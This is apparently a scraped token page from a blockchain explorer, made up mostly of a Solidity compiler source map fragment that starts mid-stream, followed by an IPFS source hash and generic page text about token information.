189:15;;36261:17;;36126:21;;36189:15;36229:59;;36246:4;;36261:17;;;-1:-1:-1;;;;;36261:17:0;36189:15;36229:8;:59::i;:::-;36313:17;;:240;;-1:-1:-1;;;36313:240:0;;:17;;;;-1:-1:-1;;;;;36313:17:0;;:39;;:240;;36379:6;;36412:1;;36440:8;;36483:4;;36515:15;;36313:240;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;36313:240:0;;;;;;;;;;;;:::i;:::-;-1:-1:-1;36578:17:0;36598:36;36622:12;36598:21;:36;:::i;:::-;36667:10;;36659:39;;36578:56;;-1:-1:-1;;;;;;36667:10:0;;36659:39;;;;;36578:56;;36667:10;36659:39;36667:10;36659:39;36578:56;36667:10;36659:39;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;36741:1:0;36723:15;:19;-1:-1:-1;;36062:700:0;35496:1281;;;35462:1315;36793:13;36803:3;36793:13;;:::i;:::-;;;33162:3656;;33120:3769;;;-1:-1:-1;;;;;;;36826:21:0;;;36823:66;;36863:14;:12;:14::i;:::-;;36823:66;-1:-1:-1;36908:6:0;32981:3941;-1:-1:-1;;32981:3941:0:o;11886:770::-;-1:-1:-1;;;;;12026:20:0;;12018:70;;;;-1:-1:-1;;;12018:70:0;;17803:2:1;12018:70:0;;;17785:21:1;17842:2;17822:18;;;17815:30;17881:34;17861:18;;;17854:62;-1:-1:-1;;;17932:18:1;;;17925:35;17977:19;;12018:70:0;17601:401:1;12018:70:0;-1:-1:-1;;;;;12107:23:0;;12099:71;;;;-1:-1:-1;;;12099:71:0;;18209:2:1;12099:71:0;;;18191:21:1;18248:2;18228:18;;;18221:30;18287:34;18267:18;;;18260:62;-1:-1:-1;;;18338:18:1;;;18331:33;18381:19;;12099:71:0;18007:399:1;12099:71:0;-1:-1:-1;;;;;12267:17:0;;12243:21;12267:17;;;;;;;;;;;12317:23;;;;12295:111;;;;-1:-1:-1;;;12295:111:0;;18613:2:1;12295:111:0;;;18595:21:1;18652:2;18632:18;;;18625:30;18691:34;18671:18;;;18664:62;-1:-1:-1;;;18742:18:1;;;18735:36;18788:19;;12295:111:0;18411:402:1;12295:111:0;-1:-1:-1;;;;;12442:17:0;;;:9;:17;;;;;;;;;;;12462:22;;;12442:42;;12506:20;;;;;;;;:30;;12478:6;;12442:9;12506:30;;12478:6;;12506:30;:::i;:::-;;;;;;;;12571:9;-1:-1:-1;;;;;12554:35:0;12563:6;-1:-1:-1;;;;;12554:35:0;;12582:6;12554:35;;;;1613:25:1;;1601:2;1586:18;;1467:177;12554:35:0;;;;;;;;12007:649;11886:770;;;:::o;37621:699::-;37776:13;;37753:38;;-1:-1:-1;;;37753:38:0;;-1:-1:-1;;;;;37776:13:0;;;37753:38;;;2630:51:1;37663:4:0;;;;37753;;:14;;2603:18:1;;37753:38:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;37722:69;;37841:20;37864:93;37891:20;37926:1;37942:4;37864:12;:93::i;:::-;37841:116;-1:-1:-1;38062:16:0;;38058:98;;38115:13;;38095:49;;-1:-1:-1;;;;;38115:13:0;38131:12;38095:11;:49::i;:::-;38253:13;;38277:11;;;-1:-1:-1;;;;;;38277:11:0;;;;-1:-1:-1;;;;;38253:13:0;;;;;;38277:9;;:11;;;;;38231:19;;38277:11;;;;;;;38231:19;38253:13;38277:11;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;38308:4;38301:11;;;;;37621:699;:::o;14:548:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:131::-;-1:-1:-1;;;;;642:31:1;;632:42;;622:70;;688:1;685;678:12;703:315;771:6;779;832:2;820:9;811:7;807:23;803:32;800:52;;;848:1;845;838:12;800:52;887:9;874:23;906:31;931:5;906:31;:::i;:::-;956:5;1008:2;993:18;;;;980:32;;-1:-1:-1;;;703:315:1:o;1215:247::-;1274:6;1327:2;1315:9;1306:7;1302:23;1298:32;1295:52;;;1343:1;1340;1333:12;1295:52;1382:9;1369:23;1401:31;1426:5;1401:31;:::i;1649:456::-;1726:6;1734;1742;1795:2;1783:9;1774:7;1770:23;1766:32;1763:52;;;1811:1;1808;1801:12;1763:52;1850:9;1837:23;1869:31;1894:5;1869:31;:::i;:::-;1919:5;-1:-1:-1;1976:2:1;1961:18;;1948:32;1989:33;1948:32;1989:33;:::i;:::-;1649:456;;2041:7;;-1:-1:-1;;;2095:2:1;2080:18;;;;2067:32;;1649:456::o;2299:180::-;2358:6;2411:2;2399:9;2390:7;2386:23;2382:32;2379:52;;;2427:1;2424;2417:12;2379:52;-1:-1:-1;2450:23:1;;2299:180;-1:-1:-1;2299:180:1:o;2692:416::-;2757:6;2765;2818:2;2806:9;2797:7;2793:23;2789:32;2786:52;;;2834:1;2831;2824:12;2786:52;2873:9;2860:23;2892:31;2917:5;2892:31;:::i;:::-;2942:5;-1:-1:-1;2999:2:1;2984:18;;2971:32;3041:15;;3034:23;3022:36;;3012:64;;3072:1;3069;3062:12;3012:64;3095:7;3085:17;;;2692:416;;;;;:::o;3113:509::-;3187:6;3195;3203;3256:2;3244:9;3235:7;3231:23;3227:32;3224:52;;;3272:1;3269;3262:12;3224:52;3308:9;3295:23;3285:33;;3368:2;3357:9;3353:18;3340:32;3412:4;3405:5;3401:16;3394:5;3391:27;3381:55;;3432:1;3429;3422:12;3381:55;3455:5;-1:-1:-1;3512:2:1;3497:18;;3484:32;3560:10;3547:24;;3535:37;;3525:65;;3586:1;3583;3576:12;3525:65;3609:7;3599:17;;;3113:509;;;;;:::o;3627:388::-;3695:6;3703;3756:2;3744:9;3735:7;3731:23;3727:32;3724:52;;;3772:1;3769;3762:12;3724:52;3811:9;3798:23;3830:31;3855:5;3830:31;:::i;:::-;3880:5;-1:-1:-1;3937:2:1;3922:18;;3909:32;3950:33;3909:32;3950:33;:::i;4020:380::-;4099:1;4095:12;;;;4142;;;4163:61;;4217:4;4209:6;4205:17;4195:27;;4163:61;4270:2;4262:6;4259:14;4239:18;4236:38;4233:161;;4316:10;4311:3;4307:20;4304:1;4297:31;4351:4;4348:1;4341:15;4379:4;4376:1;4369:15;4233:161;;4020:380;;;:::o;4814:127::-;4875:10;4870:3;4866:20;4863:1;4856:31;4906:4;4903:1;4896:15;4930:4;4927:1;4920:15;4946:125;5011:9;;;5032:10;;;5029:36;;;5045:18;;:::i;7522:422::-;7611:1;7654:5;7611:1;7668:270;7689:7;7679:8;7676:21;7668:270;;;7748:4;7744:1;7740:6;7736:17;7730:4;7727:27;7724:53;;;7757:18;;:::i;:::-;7807:7;7797:8;7793:22;7790:55;;;7827:16;;;;7790:55;7906:22;;;;7866:15;;;;7668:270;;;7672:3;7522:422;;;;;:::o;7949:806::-;7998:5;8028:8;8018:80;;-1:-1:-1;8069:1:1;8083:5;;8018:80;8117:4;8107:76;;-1:-1:-1;8154:1:1;8168:5;;8107:76;8199:4;8217:1;8212:59;;;;8285:1;8280:130;;;;8192:218;;8212:59;8242:1;8233:10;;8256:5;;;8280:130;8317:3;8307:8;8304:17;8301:43;;;8324:18;;:::i;:::-;-1:-1:-1;;8380:1:1;8366:16;;8395:5;;8192:218;;8494:2;8484:8;8481:16;8475:3;8469:4;8466:13;8462:36;8456:2;8446:8;8443:16;8438:2;8432:4;8429:12;8425:35;8422:77;8419:159;;;-1:-1:-1;8531:19:1;;;8563:5;;8419:159;8610:34;8635:8;8629:4;8610:34;:::i;:::-;8680:6;8676:1;8672:6;8668:19;8659:7;8656:32;8653:58;;;8691:18;;:::i;:::-;8729:20;;7949:806;-1:-1:-1;;;7949:806:1:o;8760:131::-;8820:5;8849:36;8876:8;8870:4;8849:36;:::i;8896:168::-;8936:7;9002:1;8998;8994:6;8990:14;8987:1;8984:21;8979:1;8972:9;8965:17;8961:45;8958:71;;;9009:18;;:::i;:::-;-1:-1:-1;9049:9:1;;8896:168::o;9069:217::-;9109:1;9135;9125:132;;9179:10;9174:3;9170:20;9167:1;9160:31;9214:4;9211:1;9204:15;9242:4;9239:1;9232:15;9125:132;-1:-1:-1;9271:9:1;;9069:217::o;9291:251::-;9361:6;9414:2;9402:9;9393:7;9389:23;9385:32;9382:52;;;9430:1;9427;9420:12;9382:52;9462:9;9456:16;9481:31;9506:5;9481:31;:::i;10468:306::-;10556:6;10564;10572;10625:2;10613:9;10604:7;10600:23;10596:32;10593:52;;;10641:1;10638;10631:12;10593:52;10670:9;10664:16;10654:26;;10720:2;10709:9;10705:18;10699:25;10689:35;;10764:2;10753:9;10749:18;10743:25;10733:35;;10468:306;;;;;:::o;13160:128::-;13227:9;;;13248:11;;;13245:37;;;13262:18;;:::i;14837:127::-;14898:10;14893:3;14889:20;14886:1;14879:31;14929:4;14926:1;14919:15;14953:4;14950:1;14943:15;14969:127;15030:10;15025:3;15021:20;15018:1;15011:31;15061:4;15058:1;15051:15;15085:4;15082:1;15075:15;15101:461;15154:3;15192:5;15186:12;15219:6;15214:3;15207:19;15245:4;15274:2;15269:3;15265:12;15258:19;;15311:2;15304:5;15300:14;15332:1;15342:195;15356:6;15353:1;15350:13;15342:195;;;15421:13;;-1:-1:-1;;;;;15417:39:1;15405:52;;15477:12;;;;15512:15;;;;15453:1;15371:9;15342:195;;;-1:-1:-1;15553:3:1;;15101:461;-1:-1:-1;;;;;15101:461:1:o;15567:332::-;15774:6;15763:9;15756:25;15817:2;15812;15801:9;15797:18;15790:30;15737:4;15837:56;15889:2;15878:9;15874:18;15866:6;15837:56;:::i;15904:1105::-;15999:6;16030:2;16073;16061:9;16052:7;16048:23;16044:32;16041:52;;;16089:1;16086;16079:12;16041:52;16122:9;16116:16;16151:18;16192:2;16184:6;16181:14;16178:34;;;16208:1;16205;16198:12;16178:34;16246:6;16235:9;16231:22;16221:32;;16291:7;16284:4;16280:2;16276:13;16272:27;16262:55;;16313:1;16310;16303:12;16262:55;16342:2;16336:9;16364:2;16360;16357:10;16354:36;;;16370:18;;:::i;:::-;16416:2;16413:1;16409:10;16448:2;16442:9;16511:2;16507:7;16502:2;16498;16494:11;16490:25;16482:6;16478:38;16566:6;16554:10;16551:22;16546:2;16534:10;16531:18;16528:46;16525:72;;;16577:18;;:::i;:::-;16613:2;16606:22;16663:18;;;16697:15;;;;-1:-1:-1;16739:11:1;;;16735:20;;;16767:19;;;16764:39;;;16799:1;16796;16789:12;16764:39;16823:11;;;;16843:135;16859:6;16854:3;16851:15;16843:135;;;16925:10;;16913:23;;16876:12;;;;16956;;;;16843:135;;;16997:6;15904:1105;-1:-1:-1;;;;;;;;15904:1105:1:o;17014:582::-;17313:6;17302:9;17295:25;17356:6;17351:2;17340:9;17336:18;17329:34;17399:3;17394:2;17383:9;17379:18;17372:31;17276:4;17420:57;17472:3;17461:9;17457:19;17449:6;17420:57;:::i;:::-;-1:-1:-1;;;;;17513:32:1;;;;17508:2;17493:18;;17486:60;-1:-1:-1;17577:3:1;17562:19;17555:35;17412:65;17014:582;-1:-1:-1;;;17014:582:1:o;18818:184::-;18888:6;18941:2;18929:9;18920:7;18916:23;18912:32;18909:52;;;18957:1;18954;18947:12;18909:52;-1:-1:-1;18980:16:1;;18818:184;-1:-1:-1;18818:184:1:o

Swarm Source

ipfs://444b90e5b5efe8ce64ad899be9aa5af62c28fc223a51a6c1c89b1b5edc69fb3a
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.